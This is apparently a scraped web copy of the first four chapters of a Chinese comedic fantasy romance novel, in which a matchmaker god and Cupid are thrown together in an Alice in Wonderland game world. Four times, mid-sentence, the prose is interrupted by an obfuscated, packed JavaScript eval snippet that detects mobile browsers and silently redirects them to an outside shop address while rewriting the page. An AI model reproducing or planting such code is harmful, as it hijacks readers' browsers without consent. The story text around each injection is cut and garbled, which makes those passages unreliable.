《穿心后他玩转童话[快穿]》 1. 开篇1 又是一个雷雨天。 Y市已经连续下了几天的雨,整片天空阴暗乌蒙。 柯乐站在窗边,雨隔着一层玻璃敲打着他低沉的心。 这样的天气,真适合情侣窝在爱巢里你侬我侬。 电视里播着今日热点,伴随着雨声。 “经数据显示,Y市的生育率连续降低,记者采访到35岁的信贷工作者王小姐。王小姐您好,请问您对未来有什么规划?” “这天气,你们还出来采访,这工作量要人活不?别说了,客户还在等我,我的业绩啊,又负增长了!” “好吧,那这边这位先生,您现在也是单身吗?” “单单单,前段时间刚分的,领导不准我谈恋爱。” “冒昧问下,您是明星吗?” “不是,谈恋爱影响加班。” 柯乐扭头关掉了电视,整个人摔进沙发。 前段时间刚刚给这王小姐和牵了红线,还没牵到呢,线啪嗒一声断掉了。 作为一届月老,他的红线是什么,脆脆鲨吗? 这东方城市的就业环境太差啦,工作压力大,谁还愿意让他牵线? 他来到Y市这样的四线城市,本以为可以幸福感up,没想到恋爱意向仍旧如此低迷! 这不是他的错,但是他真的不想成为月老之耻啊! 学校不准恋爱,工作不敢恋爱,他还能到哪个地方牵红线? 柯乐开始复盘,腾地从沙发上惊坐起。 对了,成年人放松的地方——酒吧! * Y市酒吧。 柯乐是一个很纯洁的月老,只会搞一些甜甜纯纯的爱恋。 他没来过这样的地方,炫彩的灯光晃得他有些头晕,特别是打在他带来的书上。 他装模做样地将书抬起,鬼鬼祟祟地观察来往的人。 “林老板,现在茶生意不好做,压了货,得到年底才能回款。” “干了这杯,我借。” “林老板爽快!” “记得给利息。” 柯乐:他真的不想听这些,他要听一些甜言蜜语! 旁边桌女生对男生道:“分手吧,我们不合适,我妈想我找个有稳定工作的。” 柯乐:…… 他哐地一声将可乐兑雪碧的玻璃杯往桌上一放:“求求你们,别分手,郎才女貌的。” “游初,我真的看错你了。”男方诧异地扫了他一眼,突然情绪激动,“你为了分我的财产,还找人?我以为你是来好好谈的。分手,立刻,马上!” 柯乐听到红线绷断的声音,好有弹性。 楼梯旁的门开了,一位金发碧眼的美女走进场内,顿时攥住了他的眼球。 在Y市这样的小城市,西方面孔可不多见,或许几年才能在马路上见着一个。 他的眼里没有美女,只有对牵线业务的渴望。 他迅速扫视四周,寻找他的目标。 一个不起眼的角落里,寸头男正独自喝着闷酒。 “您好。”柯乐端着自己的混兑饮料,在他对面坐下,“您可是有什么烦心事?” 寸头男双目迷离:“我的狗死了。” “那你缺乏陪伴,我明白了。”柯乐坚定地伸手,“握个手,我也很孤独。” 寸头男不解但照做,“你真的很怪。” 柯乐:“谢谢。” “美女。”他转头挤进了调酒队伍,调酒师一副见鬼了的模样,看着这个陌生人跻身进了吧台,“你看,我的水平和这位调酒师是一样的。” 调酒师警惕地看着他,生怕他在里面加一些不能加的东西。 柯乐迅速调好,递给外国美女:“Please。” 外国美女倒是开朗,用不那么流利的中文答谢:“谢……” 柯乐狡黠一笑。 虚空之中,一条红线自寸头男的手指晃晃悠悠绕上外国美女纤细的手腕。 外国美女登时回头,目光与寸头男隔着几桌碰撞。 火花,火花要来了! 外国美女主动走上前:“帅哥,一个人?” 柯乐激动地狂喝饮料。 搞快点搞快点! 他看着寸头男极其上道,和外国美女牵手成功,他嘴角上扬,露出一个满意的笑容。 他满脸笑容地回到座位,掏出手机在天庭工作群发了个接龙。 月老柯乐——11月第一单。 就在他起身要离开时,一道破空声划破雨夜,自背后刺进了他的心脏! 一种难以言喻的感觉,酥酥麻麻地伴着刺痛感自心脏蔓延。 柯乐瞳孔骤缩,哆哆嗦嗦地低头看。 窗外一声巨雷。 他彻底看清了胸口处的模样。 一支箭刺穿透了他的心脏,银色泛着光泽的箭头明晃晃亮瞎他的眼。 他颤颤巍巍地将手背到身后,握住箭柄,用力一拔! 噗—— 箭被生生拔出,箭没有羽毛,取而代之是一颗红心。 这是! 他瞬间回头,往箭射来的方向望去。 闪电劈下,照亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944572|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了Y市天空。 一道人影在对面栋楼的窗台上,手握着弓,还保持着射箭的姿势,正注视着他。 男人抬手,解开了自己的束发带,顿时金色的卷发披散开来。 他收起弓,似乎极轻地哼笑一声。 当代丘……丘比特,安布洛斯?! 他怎么来东方了,还朝他射了一箭?这人是神经病吗?! “喂,请问是Y市公安局吗?这里有个神经病。”调酒师突然打起了电话,“地址在晋江南路21号,麻烦你们赶紧过来,拜托了!” 柯乐愤怒又赞赏地回头:“对的对的,你说得对,赶紧报警,把这个金发……” 调酒师惊恐道:“赶紧过来,他盯上我的外国顾客了……哦不,他盯上我了!救命!” 柯乐:…… 他捏起箭:“这么大一根你没看到?” 调酒师连连后退:“警察同志,他和我比了个‘OK’,他有同伙!” 柯乐默默收起自己的兰花指。 远方传来急促的警笛声。 柯乐对着调酒师崩溃道:“你真叫啊!” “啊——我叫了,别搞我,”调酒师扔给他一样东西,“拜拜。” 他低头一看,手不知何时已经按上遥控器,霎时灯光变幻,黄光白光交织,打在他面前皱巴巴的书页。 恰巧那一页写着: 丘比特的箭先射愚人。 * 倒霉的柯乐被拘留了六个小时。 由于他情绪低落,颓废得不想说话,因此警察还是判定他精神没有问题。 他拖着疲惫的身躯回到家中,抬手闻了闻,酒气和烟味混杂。 超臭的! 外面的雨渐小,云层大概是移开,往Y市之外的方向飘去了。 他脱下外套往沙发上一扔,越想越气。 这一切,都是那个窜频的安布洛斯惹的祸! 安布洛斯作为当代丘比特,是独眼龙还是散光啊,好好的箭往他身上射干什么? 分明是同行,一个东方一个西方。 他摸了摸自己的心口,那里已经愈合了,但麻麻的感觉还未退散。 不行,他一定要去讨个说法,难道他们西方的神都这么不守武德的吗? 他掏出手机,打开小德导航。 “阿尔卑斯山……距离Y市13006.7公里,”柯乐二话不说掏出全部积蓄买了机票,“安布洛斯,我来了!” 等等,怎么说得要去追人似的? “丘比特,我和你拼啦!” 2. 开篇2 恰巧这周专业课不多,柯乐翘了课,以最快的速度收拾好行李。 飞机“咻”的一声落地,又打了的士摇摇晃晃到了…… “欧,亲爱的,我的车扎到钉子,我没办法再送你了。”司机将车门摔得哐哐响,遗憾道,“应该也快到啦,前面那高高的山,就是你想去的地方。” 柯乐认命下车。 他看着爆胎倾斜的车辆,再眺望不远处巍峨的山脉。 阿尔卑斯山被薄雾笼罩,自上方盘旋着一大片乌云。 这片云,不会就是Y市飘来的乌云吧! “小德地图提醒您,终点有五千米的小路,请您将车辆停好,步行前进。小德将持续为您导航。” “没事的,”柯乐宽慰司机,“也得下来走了。” 司机是个五十岁的老头,慈眉善目,叹气道:“这段时间下雨,雨天路滑,要不你还是过些天再来。” “那可不行,”柯乐掂了掂背包,“过几天专业课好多。” 丘比特宫殿内。 安布洛斯翘着腿,正把玩着他的箭。 骨节分明的手指轻抚箭尾桃心。 侍从慌慌张张地跑了进来,安布洛斯脸色阴沉,说:“有没有搜到其他能够坠入爱河的?” “欧,主神,不能强行捆绑。”侍从挠了挠脑门低声说,“我刚刚要说什么来着……” 安布洛斯的手指在扶手上掰得发白:“是不能强行捆绑,现在这个大环境,我射出的箭要么偏了,要么就不中靶,让我怎么办?” “您需要一副眼镜。”侍从说,“我下午去帮您申请一个。” 安布洛斯:“Get out!” 侍从连滚带爬,一边嘟囔着:“我好像有什么事情忘记说了。” 他在门口顿了顿,忽而折返,朝着安布洛斯大声喊道:“主神,我想起来了!” 安布洛斯掀起眼皮:“说。” 侍从颤抖着:“我要说,东方那个月老,他打到阿尔卑斯山脚下来了!” 嗒—— 箭后的桃心被狠狠掰成两瓣! 就在此时,外头轰隆一声巨响。 柯乐照着小德导航往山路上走,雨水积成小洼,泥泞无比。 “小德地图持续为您导航,一百米后向左前方徒步……五十米后右转……您已偏航,已为您重新规划路线,新路线途径巨石路,但已是最优路线。” 柯乐越发浮躁,攥着手机就要往地上扔,堪堪忍住,往衣服里一塞。 听说西西弗斯总喜欢往山上推巨石,日复一日堆着,宙斯他真的不管管吗?这实在影响交通。 小德地图真的好缺德,干脆改成缺德地图算了! 轰隆—— 嗯?什么声音? 柯乐竖起耳朵,四处张望,忽而目光停滞。 连日大雨冲刷山体,山石混杂着流泥自山坡上倾倒而下。 靠!泥石流!!! 柯乐拔腿往山上冲。 “小德地图持续为您导航……” 这太讽刺啦啦啦啦—— 即使是月老,人的双腿又怎么能跑得了泥石流? 巨石轰然自山顶、半山平台滚落而下,震天动地。 胡乱之中,他真的取消了导航。 小德:“期待与您的下一次相见。” 下一次?他配有下一次吗? 巨石的阴影越发膨大,遮蔽了柯乐头顶的天空。 恍惚间他听到西西弗斯的呐喊:“Help!来神啊——月老被石头压扁啦!” * 【对家攻略系统载入中……】 【载入完成。】 【尊敬的柯乐先生,我是您的专属攻略系统,您可以叫我小可,或者小乐,但请别叫我系统哦!】 对家攻略系统? 柯乐浑身酸痛,像被石头碾过…… 哦不,他真的被石头碾成泥了。 他眼皮颤抖,却无力睁开,世界一片漆黑。 他在心里喊道:“系统?系统!你是哪里冒出来的?我是死了吗?” 【柯乐先生,我是天堂和天庭合作开发项目,专门用来缓解众神间关系的。】 【您确实是在现实世界中死了,但绑定本系统,您就可以穿到不同的世界,攻略副本内角色的对家,然后就可以复活啦。】 【还有,叫我小可,或者小乐。】 “系统,那我现在是在任务里了吗?任务是杀死对家?还是……攻略的含义究竟是什么?” 沉寂了片刻, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944573|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系统终于答话。 【每个副本会有主任务和附加任务,完成主任务可通关副本,完成附加任务可随机加快攻略进度】 【攻略程度由系统判定,每日零点更新攻略进度。】 【当前攻略进度:-40%。】 等等,负数?怎么会是负数? 柯乐打从心底里疑惑:“我是得罪NPC了吗?” 【先生,小可不予置评哦。】 还挺有原则的。 【先生,如果没有什么问题的话,那就开始您的求生之路吧。】 “好吧,我也没有其他选择了,我没有问题。” 【好的,那祝愿先生有一段愉快的攻略旅途。】 【副本加载中……】 【加载完成。】 【副本一:爱丽丝梦游仙境已开启。】 【您的身份是[爱丽丝],请想办法杀死[红皇后]祸害人的巨龙。】 柯乐猛然睁开双眼。 * 安布洛斯在宫殿内将箭掰断了。 侍从颤抖着闭眼:“主神,请您降罪。将东方月老放进阿尔卑斯山,是我的错。” 安布洛斯咬了咬牙:“他带了多少神?” 侍从道:“只有他自己一个,怕是有蹊跷。” 安布洛斯冷哼一声:“我去会会他。” “主神——”殿外护卫连滚带爬喊道。 安布洛斯掰手指,关节咔哒一声,“东方月老打到门口了?” “东方月老他,他被西西弗斯的巨石压扁了!”护卫道,“宙斯正发火呢。” “压扁了?”安布洛斯挑眉,“那你去回收我的箭,愣着做什么?” 护卫有些为难:“额……” “说。” “月老的手机没有被砸坏。经查看,月老的备忘录中写了‘丘比特鼠了算了’一百零一次,‘丘比特我要去打你’五十二次,”护卫面露尬色,“因此宙斯认定,是您导致的这起事故。” 安布洛斯太阳穴上青筋突突跳了跳。 “无能狂怒的家伙。”他攥紧了拳头,“神又不会真的死。” “可这涉及天庭和天堂、东西方的友情,宙斯刚刚已经派人来通知,您要陪同月老参与副本轮回。” 3. 【-40%】 气温骤降,一阵冷风吹来,柯乐打了个喷嚏。 他的脑子逐渐清醒,视野也变得清晰。 随着而来的还有强烈的失重感。 等等,他怎么在往下坠? 开局就这么地狱吗! 他“哎呦”一声,屁股裂成两瓣。 等眼冒金星之感过去些许,他终于理清了自己在何处。 这是一个四四方方的房间,大大小小的时钟自天花板吊落,橘红色和白色的线画成网格,在墙壁上密布。 房间正对着他的方向有一扇开着的小门,说是小门,不如说是老鼠洞。 正中央放着一张圆桌,圆桌上有两个小玻璃瓶。 柯乐揉了揉屁股,磨砂的手感让他一震。 他猛地低头。 白色的纱布层层叠叠,如一朵蘑菇云,轻飘飘的绽放开来。 白色的绸缎在他胸前打了个蝴蝶结。 靠!怎么是蓬蓬裙?! 他抬腿,发现自己的耐克不知什么时候已经被一双黑色圆头皮鞋代替。 还是女……女仆装? 爱丽丝什么时候穿的这衣服?! 他神色一变,瞬间往自己的胸口胡乱摸去。 还好还好,没有凸起,吓死月老了。 “系统,系统!” 没有回音。 “小……可?” 【先生,小可在这里。】 “能不能换别的衣服?这裙子简直是……太恶心了。” 【先生,您的背包内暂时没有可替换装备哦。】 “我还有背包的?” 【当然,作为一个成熟的系统,背包必不可少。】 【但您目前未解锁背包功能,请拾起桌子上的瓶子,开启此功能。】 柯乐走到桌子旁,拿起瓶子。 两瓶分别贴着“变大”和“变小”两个标签。 【恭喜你,解锁[背包]功能。】 【获得变大药水X1,变小药水X1。】 哦?变大变小药水,爱丽丝的重要法宝。 如果是要杀死红皇后的巨龙,那首先就要进入红皇后的宫殿。 哦不,首先是要出这个门。 柯乐信心满满:“系统,将变大药水……变小药水吧,拿给我。” 他的左手突然又出现了一瓶变小药水,但右手也多了一瓶变大药水。 柯乐将两瓶的活塞都拔出来,习惯性用手扇了扇:“我说的是变小药水。” 【柯乐先生,是您又说变大又说变小的,您究竟要变大还是变小。】 正在他想和系统争执时,门外突然传来一声粗犷的男声:“喂,你们去那边看看,皇后命令我们今天一定要活抓爱丽丝!” 柯乐猝不及防,手一抖一滑! 两个瓶子掉落之际,液体在空中相碰,他慌忙抓住,液体又稳稳地落回了瓶中。 呼—— 他大松了一口气。 “谁!谁在里面?!” 铁蹄声骤然近了,一道长枪直刺洞口而来! 另一道较细腻的男声道:“是不是爱丽丝?可……我们都不知道爱丽丝长什么样。” 长枪在洞内横冲直撞,吓得柯乐上蹿下跳。 “管他呢。”粗犷男声道,“皇后突然就下令要抓捕爱丽丝,谁都不知道爱丽丝长什么样,抓回去没准就碰巧是了。” 细腻男声持不同意见,按住了胡乱搅动的长枪:“那我们起码得按照皇后的画像来对照吧?” 柯乐刚刚得了喘气的机会,那长枪突然猛地一刺! “皇后画的画像和□□卫兵一样,谁能看出来?” 好吧,事到如今,干耗着不是办法,他得化被动为主动。 既然开局就给了他这变大变小药水,那一定是新手村的指引。 咕咚咕咚。 他毫不犹豫地喝下右手拿着药水。 灼热感自喉咙烧到胃里,他的手顿时失力,不住颤抖,握不住瓶子。 瓶子摔在地上,炸裂声惊动了外面守着的人。 粗犷男声喝道:“加快速度,将那东西从里面弄出来,我有预感,这绝对是爱丽丝!” 他的身体发胀,好似有什么东西要冲破束缚。 手指头如膨胀的气球,开始充气,涨大。 滋啦—— 胸前的蝴蝶结绷了开来,蓬蓬裙的束腰不堪重负,自腰线处开始撕裂。 “轰隆”一声,他的头顶开了天花板,砖瓦自破了大窟窿的屋顶滚落。 小房子外的世界比他想象的还要光怪陆离。 颜色各异的蘑菇大如迪拜遮阳伞,小溪流蜿蜒着穿过蘑菇丛林,通往远处高耸的红色城堡。 他同样看清了说话的两个人。 那是……两张扑克牌! 黑方J是那个粗犷男声:“爱丽丝是男的?” 红桃K是细腻男声:“他没有穿衣服,好变/态,我们不抓吧,这会被皇后降罪的!” 柯乐:…… 就在他要开口说话时,冷风吹来,他再次打了个喷嚏。 爽意袭来,一阵寒颤过后,他的身体又迅速缩小! 刹那间房间内的桌子腿就变得有大象腿那样粗了。 他不是喝的变大药水吗?怎么会变小?! “系统!你是不是坑我?!” 【先生,小可是先生的专属系统,不会坑先生的哦。】 “可怎么会这样……” 红桃K害怕道:“我们走吧,他好奇怪。” 黑方J狠狠啐了一口:“呸!胆小的东西。” 不过短短几秒,他的身体又开始涨大。 柯乐再次顶出了屋顶,这次他再度居高临下看清了森林的全貌。 还看到了不远处,有几个……动物……在开茶话会? 噗—— 他又瞬间缩小。 靠,他这是什么?弹簧吗! 黑方J将长枪往地上一戳:“你看他这么奇怪,我们把他押回去,即使他不是爱丽丝,也能给皇后当马戏看!” 长枪抵上柯乐的背,将他往红皇后高耸的宫殿推去。 宫殿远远望去一片红色,走近了看才发现墙壁上都透着金光。 踏过河流上的青苔石路,一列人堵在宫殿外,扑克士兵和奇奇怪怪的人和动物排成长队。 柯乐此时是超大形态,居高临下便能看到城门口重兵把守,士兵举着一张纸,该是画像,一个个对比。 一块铁皮士兵挥了挥手,不耐烦道:“不是,快滚。” 放在古代,这也不能算是选妃,毕竟都是些什么奇形怪状的东西啊? “老实点,在后面乖乖排队。”后背被长枪轻刺。 “这些都是要碰运气的,拿什么糊弄皇后?”黑方J哼笑,“以为Queen是瞎子吗?” 柯乐:……难道你就不是来碰运气,把红皇后当瞎子耍吗? “呱。” 一只青蛙被压到城门前。 士兵扫了眼纸上画像,再扫了眼青蛙,“很好,梅花A, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944574|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今晚这只青蛙就拿来加餐了。” 听到青蛙有所用途的梅花A欣喜道:“是给Queen加餐吗?我的荣幸!” “是的,恭喜你,梅花A,”士兵的长枪一下将青蛙钉在地上,“今晚就做青蛙烤串,梅花A作为柴火,一定会更香。” 梅花A当即拔腿要逃,被两把长枪交叉抵着粗短的脖子压在地上,磕了满嘴的青苔。 士兵不耐烦将梅花A扫垃圾似的往一旁扫去:“你们再拿这些乱七八糟的玷污Queen的眼睛,你们就等着排队来烧火吧!” 哗然过后,队伍当即少了一半。 红桃K两条细长的筷子腿吓得直颤:“黑方J,我想走了。” 黑方J的气焰也散了七七八八,低声道:“走吧,我看这东西也不像是爱丽丝。” 士兵忽然朝他们的方向望来:“等等!那边那个大块头是什么东西?” 顷刻间数道目光朝他射来,他慌忙拉扯裂得七七八八的衣服……布条,双手遮挡胸前。 噗—— 他瞬间变小,藏进烂掉的袖袍内。 哎?这玩意还能随着他的心情变化的?莫非这变大变小药水也会感到羞耻? 滋啦一声,他瞬间又迅速胀大! 好吧,他错怪药水了。 士兵喝道:“那边的,黑方J、红桃K,你们押着什么人?” “欧这位大人,”黑方J自知逃不掉,斜眼瞄了哆嗦不止的红桃K,破罐破摔,“这是我为Queen找的马戏团表演者,没想到堆着这么多人,这‘变大变小’人是我们在巡逻时发现的。” “哦?”士兵从上到下打量着柯乐,“倒是奇特。” “大人,您看,”旁边的士兵将卷起的画布摊开,目光在他和画布上移动,不可置信,“这人竟然和爱丽丝还有几分相似?” “Queen画成那个样子你怎么……”士兵突然“啪”扇了自己一巴掌,“我该死,Queen明明是抽象派。” 他咳了一声,掩饰自己的不敬,“我看看……” 士兵的眼睛顿时瞪大:“真有几分像!赶紧押到大牢!” 这红皇后莫非真的认识爱丽丝?原著里这个时候他们打过照面了吗? “等等等,大人,”柯乐眼珠子转了一圈,“我真的是马戏团成员!要是你们抓错人了,Queen还会骂你们愚蠢。” 士兵当真陷入沉思。 片刻后,他狐疑道:“你是马戏团的,那你会什么?变大变小?” “大人,我不止会变大变小,还会……” 在场众人瞪大双眼,呼吸凝滞。 “翻花绳。” 柯乐的手指伸出一条长长的红线,他将红线在手腕上绕了几圈。 “大人,手伸出来,从这个孔里穿过去,然后顶上来……” 士兵按照他的指引去做,柯乐接着说:“我刚刚有点吓到了,我看看那只青蛙,玩玩放松一下,才能更好的教你。” 他迅速地将红线绕到了青蛙的腿上。 青蛙:“呱?” 士兵瞳孔骤缩:“这青蛙怎么有点……好看?” 【先生,恭喜你,俘获了铁皮卫兵X1,青蛙X1,已放入背包。】 柯乐:……这俩玩意,有什么用啊! 一张牛皮纸轻飘飘地落下,刚好落在柯乐破烂的皮鞋上。 上面是一张画像,虽然画技简直不堪入目,但隐隐可以揣测画画人想表述的。 黑色短发,有鼻子有眼,胸口挂着一个月亮吊坠。 4. 【-40%】 柯乐还是被扔进了大牢。 因为铁皮士兵属于NPC,所以柯乐还是将他从背包内放出来,让他回归原世界。 可铁皮士兵非常生气。 所有的铁皮都笑他觉得一只青蛙好看,全都拜柯乐这个可恶的“变大变小人”所赐。 “你最好让我看到你的本事。”铁皮士兵扔给他一套小丑的服装,“不然你就等着变成烤串吧!” 柯乐又饿又累。 他在牢里不断变大变小,直到药水的效力渐渐过去。 啪嗒。 一滴水落到柯乐脸上。 他猛然抬头。 一只青蓝色的猫漂浮在半空中,旋转着朝他打招呼:“爱丽丝小姐,您好。” 这不是白天他看到在开茶话会的……猫? 还没适应爱丽丝这个身份的柯乐反应半天,才知道这只猫在叫他。 “柴郡猫,快点。”一道粗粝的声音自猫的后背传来。 柴郡猫裂开大嘴,露出两排森然的牙齿。 牠“噗”一声放了个屁,吹成一个圈圈。 一顶坠着洁白羽毛的高帽从圈圈里探出,一个男人的头从那颇有味道的圈里挤出。 “柴郡猫你太恶心了……”帽子的主人打着红如赤霞的腮红,化着红黑交杂的眼影,见到柯乐时当即眉开眼笑,“疯帽子课堂开课了。” 疯帽子?他居然见到了活的疯帽子! “你本人比书里描写的帅!”柯乐激动地拉住他。 “欧这位小姐,我们……这样……”疯帽子瞪大了双眼,“是在比谁更疯?” 柯乐突然记起了自己的身份,他咳了一声掩饰尴尬,松开手。 “小姐,你是来杀死巨龙的,我一定要帮助你,”疯帽子郑重说道,“我可以教你制作帽子,让你在红皇后面前可以展现才能,让她先亲近依赖你。” 【滴滴——小可来啦,恭喜先生解锁支线任务:[制作一顶称心如意的高帽],请您尽力迎合红皇后的喜欢,制作一顶红皇后喜欢的帽子,获得接近红皇后的机会哦。】 “帽子?” “是的爱丽丝,你认为我们该给红皇后设计怎么样的帽子?” “她和妹妹白皇后是对家,是不是应该给她一顶白色帽檐,红色顶的帽子?”柯乐思考,“这样证明红色是压在白色之上的,她一定会喜欢。” “像这样的。”一顶柯乐想象中的帽子被柴郡猫用气雾描绘出来。 疯帽子摇头,荷叶袖直摆动:“你这个设计很好,但是红皇后这样缺心眼的人,怎么会想到这个?在她看到白色那一眼,你就已经完蛋了。” “那我们应该如何做?” 疯帽子拍手:“红皇后有一个大头,然后喜欢红色,所以我们应该给她做一个很大的、红色的帽子,然后最好是镶金边突出她的高贵。” 柯乐用了一晚上调整帽子的形状,终于在清晨做出了疯帽子说的这顶帽子。 他看着帽子,越来越觉得熟悉。 等等…… 这不就是一顶超大的红色遮阳帽吗? 在前面绣的这个爱心,也太骚包了! “不过我想不出这帽子你怎么像变戏法一样变出来。”疯帽子苦恼道。 “我有办法,你们先回去,剩下的我来操作。”柯乐说。 柴郡猫轻飘飘地走了。 柯乐:“背包。” 【获得至高无上的帽子X1。】 * 大殿内,扑克士兵们排成一列,簇拥着主座上的红皇后。 “Queen!铁皮士兵向您献上一名马戏团成员,他自称会变戏法。” 红皇后抬了抬手。 侍从喊道:“押上来——” 铁皮士兵用捉鸡时用的铁叉升级版叉着柯乐的脖子,押着他踉踉跄跄半跪到王座下:“你最好给我好好表现。” 他的视野受限,只能看到台阶上,红金色的毯子垂下,一双黑色的皮鞋垂在他面前。 Queen正交叠着腿,小腿被黑色的西装裤包裹,显得极为修长。 这红皇后的下半身好像……挺美丽优雅的? 可一想到这么优雅的人,头是一个超大的红心,化着夸张的蓝色眼影和爱心红唇…… 柯乐不禁打了个寒颤。 实在不敢恭维。 铁皮士兵谄媚道:“Queen,这个人不仅拥有变大变小的功能,还能变魔术。” 柯乐如芒在背,只听王座上的红皇后冷哼了一声。 红皇后的声线这么低沉的? 额……这应该是压迫感吧。 “抬头,给Queen表演。” 他刚要抬头,红皇后突然出声:“就这样表演。” 他的头瞬间被压了下去。 这红皇后的声音真的好低沉,好像一个男人的声音。 印象里红皇后的声音不是很尖锐的吗? “赶紧的,愣着做什么?”铁皮士兵道。 “系统,取出至高无上的帽子,赠予红皇后。”柯乐小声道。 【小可这就为您取出[至高无上的帽子]。】 “嘶——” 周围的扑克士兵无一不倒吸一口凉气。 干嘛呢这群扑克怪?是帽子太好看了吗,帅到他们了? 自高台上,传出闷闷的男声,像一个男人在葫芦里说话:“将他押到大牢,关三天三夜,等候发落!” 一众扑克朝他涌上来,将他死死按在地上。 【很遗憾,柯乐先生,红皇后并不喜欢您制作的帽子,支线任务[制作一顶称心如意的高帽]失败。】 【由于是新手任务,本次支线任务不倒扣进度值。】 好吧,虽然任务失败了,但是新手村至少不会倒扣嘛,那还好,还好。 柯乐稍微松了一口气。 【但是,红皇后似乎很生气呢!】 【本次攻略对家目标:[红皇后]怒气值up,进度值-6%】 【真倒霉呢,亲爱的宿主柯乐先生。】 什……什么? 系统你也没说本次的攻略目标就是红皇后啊! 可是究竟哪里出了问题呢? 大头皇后、喜欢红色、突出高贵……好像没有任何毛病哇。 柯乐悄悄地昂起头,从那双袖长的双腿寸寸上移,忽而也倒吸了一口凉气—— 一顶巨大的红色高帽直接将红皇后的头至肩都盖在帽里。 那个突出的红心刚刚好连接皇后的胸口,好像长在那上面似的。 他好像可以感知到那顶帽子里传出的强烈怨气。 红皇后不是个大头吗!他可是严格测算她的头围才做的帽子啊。 谁来告诉他,究竟是怎么个回事? 红皇后似是听到了他的心声,抬起双手,骨节分明的长手指无名指上戴着一个扳指,掐住帽子头套,往上抬起。 随着她的动作,柯乐的瞳孔逐渐放大,心跳不住加速。 金色的卷发披散开来,深邃的绿眸中被热气熏得起雾发红,正发狠地盯着他。 丘……丘比特?安布洛斯!!! “安布洛斯!怎么会是你你你你!” “爱丽丝?呵,东方月老,你可真是有趣。” 两道声音同时响起,扑克 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944575|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 士兵押着他的肩膀,要将他拖离殿前。 安布洛斯抬手,扑克士兵松开他,他噗通一下跪在地毯上。 还好地毯柔软。 他揉揉膝盖,咬着牙道:“安布洛斯,我哪里得罪你了?” 安布洛斯勾勾嘴角: “你不是在城门拍片才被选进皇宫的吗?” 柯乐一头雾水:“拍什么片,X光片吗? 安布洛斯指着脚下的台阶,皮鞋尖点了点:“爱丽丝,你穿衣服做什么,穿回你的女仆装,然后跪到这里。” 柯乐瞬间热气上脸。 铁皮士兵当即转过弯来,明白自己误打误撞真的捉住了活的爱丽丝,欣喜若狂之余不忘率先高喊:“Queen!恭喜Queen活捉爱丽丝——” 众扑克齐喊:“恭喜Queen活捉爱丽丝!” 喂,你们睁开眼睛看看,那是Queen吗? 明明是King啊! 眼看扑克就要野蛮地来扒他的小丑服,柯乐握紧拳头。 “系统,从背包里拿出变大变小药水!” 【柯乐先生,容我陈述一下目前背包内的情况。】 【上次用掉一瓶药水,现在只剩一瓶药水,请谨慎使用哦。】 【您是否确定用掉唯一的一瓶药水?】 命都要再没一次了,还管什么存货用不用的? 柯乐:“我确定!” 玻璃瓶子出现在他的手上,他拔开活塞,咕咚咕咚地喝了下去。 他的身体迅速膨胀,身上的小丑服再次崩坏,扑克牌们的身躯开始缩小。 他的头顶上了穹顶。 为了不破坏这美丽的文化遗产,他弯腰,将头顶出了玻璃窗外。 顿时玻璃爆裂开来,在美丽的“红皇上”脸上划出一道血痕。 安布洛斯抬手摸了一手血,咬着牙道:“柯乐!” “嗬,东方月老宁死不屈,你这死洋鬼!” 他顺便甩手将那顶红帽子一捞,将它重新存回背包。 这安布洛斯不要,他还要呢。 那可是他一晚上不眠不休的成果,虽然是大了点,但是用来做什么路障还是不错的! 噗—— 这头刚放出狠话来,他的身体再次缩水! 救命啊,他忘了上次的药水被他混了! 他胡乱扯了散落的衣服碎片,恰巧摸了一块亮片,往身上一盖。 他拔腿就逃,像过街老鼠一样在扑克牌们的腿和长枪中穿梭。 阳光透过破碎的窗户洒下,恰巧打在亮片上,折射出五彩斑斓的光华。 安布洛斯只看到一只亮晶晶的老鼠如一条亮晶晶的游鱼一样,游出了大殿外。 “爱丽丝小姐,我们来帮你了!”一只穿着牛仔马甲的兔子将他捞起,就要往牠身上背,就在此时。 噗—— 